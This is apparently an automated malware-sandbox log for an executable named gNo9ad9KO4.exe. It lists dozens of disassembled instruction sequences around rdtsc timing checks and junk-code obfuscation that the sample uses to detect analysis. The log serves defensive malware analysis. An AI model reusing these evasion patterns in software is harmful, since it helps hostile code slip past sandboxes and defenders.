Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 41A6A9 second address: 41A6BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 41A6BD second address: 41A6C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 41A6C3 second address: 41A6D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 jmp 00007F4688C1B76Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 41A6D6 second address: 41A6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F4688C929DCh 0x0000000b jno 00007F4688C929D6h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 41AAF1 second address: 41AAF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 41B71F second address: 41B72B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jo 00007F4688C929D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 41E331 second address: 41E33B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F4688C1B766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 44076B second address: 44076F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45955F second address: 459565 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 459807 second address: 45980C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45980C second address: 45981E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F4688C1B766h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45981E second address: 459822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 459970 second address: 459978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 459978 second address: 45997C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45997C second address: 4599A7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F4688C1B766h 0x00000008 jng 00007F4688C1B766h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F4688C1B770h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 jc 00007F4688C1B766h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 4599A7 second address: 4599B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 459E99 second address: 459EA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 459EA1 second address: 459EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45A00F second address: 45A013 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45A013 second address: 45A023 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4688C929D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45A023 second address: 45A027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45A027 second address: 45A04D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jo 00007F4688C929E2h 0x00000010 jg 00007F4688C929D6h 0x00000016 jo 00007F4688C929D6h 0x0000001c push eax 0x0000001d push edx 0x0000001e push edx 0x0000001f pop edx 0x00000020 je 00007F4688C929D6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45A04D second address: 45A051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45A051 second address: 45A057 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 45BC55 second address: 45BC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F4688C1B771h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 461552 second address: 461557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 461557 second address: 46156D instructions: 0x00000000 rdtsc 0x00000002 je 00007F4688C1B768h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnp 00007F4688C1B76Eh 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 46156D second address: 46157C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 46157C second address: 4615A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4688C1B775h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 462D69 second address: 462D6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5450019 second address: 545001F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 545001F second address: 54500C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F4688C929E6h 0x00000011 push eax 0x00000012 jmp 00007F4688C929DBh 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F4688C929E4h 0x0000001f xor ch, FFFFFFF8h 0x00000022 jmp 00007F4688C929DBh 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007F4688C929E8h 0x0000002e adc cl, 00000058h 0x00000031 jmp 00007F4688C929DBh 0x00000036 popfd 0x00000037 popad 0x00000038 mov ebp, esp 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d call 00007F4688C929E2h 0x00000042 pop esi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430E3F second address: 5430E94 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 mov cx, F4DDh 0x0000000d pushfd 0x0000000e jmp 00007F4688C1B76Ah 0x00000013 add eax, 6966C738h 0x00000019 jmp 00007F4688C1B76Bh 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007F4688C1B779h 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F4688C1B76Dh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430E94 second address: 5430EC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F4688C929DEh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430EC0 second address: 5430EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430EC4 second address: 5430ECA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470F4E second address: 5470F80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B774h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4688C1B777h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410144 second address: 5410185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 24B112F2h 0x00000008 mov dh, 6Ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f movzx esi, dx 0x00000012 mov bl, 48h 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F4688C929E2h 0x0000001e xor ax, 4138h 0x00000023 jmp 00007F4688C929DBh 0x00000028 popfd 0x00000029 push eax 0x0000002a push edx 0x0000002b movzx eax, bx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430C3F second address: 5430C45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430C45 second address: 5430C49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430C49 second address: 5430C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F4688C1B76Eh 0x00000010 sub si, 1D28h 0x00000015 jmp 00007F4688C1B76Bh 0x0000001a popfd 0x0000001b popad 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430C7B second address: 5430C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430C7F second address: 5430C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430C83 second address: 5430C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430C89 second address: 5430C9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C1B76Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430C9C second address: 5430CD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F4688C929E5h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F4688C929DEh 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430CD1 second address: 5430CEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 543087A second address: 54308BE instructions: 0x00000000 rdtsc 0x00000002 mov ch, C0h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F4688C929E5h 0x0000000c and ax, 9836h 0x00000011 jmp 00007F4688C929E1h 0x00000016 popfd 0x00000017 popad 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F4688C929DDh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430776 second address: 543078B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430569 second address: 54305BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f mov dx, si 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F4688C929E5h 0x0000001e xor ecx, 31D1AE16h 0x00000024 jmp 00007F4688C929E1h 0x00000029 popfd 0x0000002a mov cx, 0087h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54305BA second address: 54305C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54305C0 second address: 54305C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54305C4 second address: 54305D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54305D2 second address: 54305DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, 08A85249h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5440188 second address: 54401BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F4688C1B76Bh 0x0000000b sub ah, FFFFFFCEh 0x0000000e jmp 00007F4688C1B779h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54401BF second address: 54401C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dh, AAh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54401C6 second address: 544023C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4688C1B771h 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F4688C1B771h 0x0000000f adc cx, 0D66h 0x00000014 jmp 00007F4688C1B771h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 push edi 0x00000023 pop eax 0x00000024 pushfd 0x00000025 jmp 00007F4688C1B76Fh 0x0000002a sbb al, FFFFFF9Eh 0x0000002d jmp 00007F4688C1B779h 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470E4B second address: 5470E8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushfd 0x0000000c jmp 00007F4688C929E6h 0x00000011 add cx, 5F78h 0x00000016 jmp 00007F4688C929DBh 0x0000001b popfd 0x0000001c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470E8C second address: 5470E9B instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470E9B second address: 5470EA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470EA1 second address: 5470EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470EA7 second address: 5470EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470EAB second address: 5470EAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 545037F second address: 5450457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4688C929E7h 0x00000009 jmp 00007F4688C929E3h 0x0000000e popfd 0x0000000f mov bx, cx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 movzx esi, dx 0x0000001a pushfd 0x0000001b jmp 00007F4688C929DDh 0x00000020 sub esi, 5CA0D0C6h 0x00000026 jmp 00007F4688C929E1h 0x0000002b popfd 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f call 00007F4688C929E7h 0x00000034 mov ecx, 79290B5Fh 0x00000039 pop esi 0x0000003a popad 0x0000003b xchg eax, ebp 0x0000003c jmp 00007F4688C929DEh 0x00000041 mov ebp, esp 0x00000043 jmp 00007F4688C929E0h 0x00000048 mov eax, dword ptr [ebp+08h] 0x0000004b jmp 00007F4688C929E0h 0x00000050 and dword ptr [eax], 00000000h 0x00000053 jmp 00007F4688C929E0h 0x00000058 and dword ptr [eax+04h], 00000000h 0x0000005c pushad 0x0000005d mov ebx, eax 0x0000005f mov ch, 4Eh 0x00000061 popad 0x00000062 pop ebp 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5450457 second address: 545045B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 545045B second address: 5450490 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F4688C929E8h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54306D6 second address: 54306DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54306DC second address: 54306E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54306E0 second address: 5430710 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov bx, si 0x00000010 movzx ecx, bx 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007F4688C1B76Bh 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5430710 second address: 5430716 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5440E68 second address: 5440F12 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F4688C1B779h 0x00000008 adc cx, 3CD6h 0x0000000d jmp 00007F4688C1B771h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov di, cx 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b jmp 00007F4688C1B778h 0x00000020 push eax 0x00000021 pushfd 0x00000022 jmp 00007F4688C1B771h 0x00000027 adc ah, FFFFFF96h 0x0000002a jmp 00007F4688C1B771h 0x0000002f popfd 0x00000030 pop ecx 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 jmp 00007F4688C1B76Ch 0x00000039 movzx ecx, bx 0x0000003c popad 0x0000003d xchg eax, ebp 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F4688C1B778h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5440F12 second address: 5440F3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4688C929E5h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 545020B second address: 545021C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C1B76Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 545021C second address: 5450251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e pushad 0x0000000f mov cx, 1F63h 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F4688C929E1h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470661 second address: 5470670 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470670 second address: 5470676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470676 second address: 547068A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop ebx 0x00000010 movzx ecx, bx 0x00000013 popad 0x00000014 rdtsc
